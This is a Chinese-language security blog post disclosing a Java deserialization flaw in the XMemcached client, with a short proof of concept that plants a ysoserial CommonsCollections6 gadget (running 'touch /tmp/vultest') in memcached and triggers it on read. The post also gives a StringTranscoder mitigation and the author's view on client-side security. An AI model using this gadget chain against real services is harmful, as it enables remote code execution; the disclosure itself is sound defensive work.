~# n0tr00t Security Team

XMemcached Client deserialization vulnerability

28 Jan 2018 - Demon

[+] Author: Demon
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2018-01-28

描述

XMemcached-java 是在 java 中算是比较常见的 client sdk ,其功能提供了连接 memcached 数据库及对数据库的操作管理,memcached 经常被用作 key value 的缓存存储。但value中不仅能够存储字符串,还能够存储二进制数据。XMemcached就提供了这样的功能,它能支持存储一个java对象在memcached中,然后还能够取出来进行使用。其中的原理就是用到了反序列化,官方使用 Demo :https://github.com/killme2008/xmemcached/wiki/%E5….

如果当 client.set("key",3600,someObject); 中的 someObject 是一个恶意的类,在取值时 someObject=client.get("key",2000); 将会触发反序列化漏洞,构成代码执行的危害。

PoC

import ysoserial.payloads.CommonsCollections6;
....//host, user, password define
Object evilObject = new CommonsCollections6().getObject("touch /tmp/vultest");
MemcachedClient cache = null;
cache = new MemcachedClient(new ConnectionFactoryBuilder().setProtocol(Protocol.BINARY).setAuthDescriptor(ad).build(),
                                AddrUtil.getAddresses(host + ":" + port));
OperationFuture<Boolean> future = cache.set("testKey", expireTime, evilObject);
future.get();
cache.get("testKey");

后续

之后我把这个问题作为 issue 提交给了官方:https://github.com/killme2008/xmemcached/issues/72 , 但有趣的是官方并不认为这是 xmemcached 自身的问题,意思是说这个不是我的锅,是开发者的锅。如果把 memcached 的连接管理权交给一个恶意的用户的话,是会有这样的安全问题。那我就有必要来说一下了。

首先说下如何避免上述安全问题,xmemcached 提供了多种 Transcoder ,代表用于支持 value 的数据类型,其默认的 Transcoder 就是使用的 SerializingTranscoder ,代表支持反序列化 Object 类型。如果需要屏蔽掉任意类型的反序列化,可以在 client 初始化的时候将 Transcoder 主动置为 StringTranscoder ,即代表只能支持 String 类型。这样就能有效抵御反序列化攻击。

接下来阐述下我的观点:

  1. xmemcached 默认的使用方法是存在安全问题的,而官方文档中也并没有提到关于 SerializingTranscoder 使用上的安全问题。
  2. 现在很多服务都已经 SaaS 化,在很多云环境下提供了譬如 NoSQL数据库管理数据迁移数据同步数据通道化和集成化 的服务。这些能够方便的将自己的数据库放到云上进行管理和数据开发。那假如如果有类似服务使用了xmemcached client,攻击者就能够在自己的 memcached 中插入个恶意的类,放到云服务中去执行,导致云服务产生命令执行。

其实最近 client 端的安全问题也产生过非常多,比如 git client、mysql client 等。如果 client 的开发者都不抱积极态度去应对,不考虑所有场景下使用的用户。能产生的安全问题和风险在这里也只是冰山一角。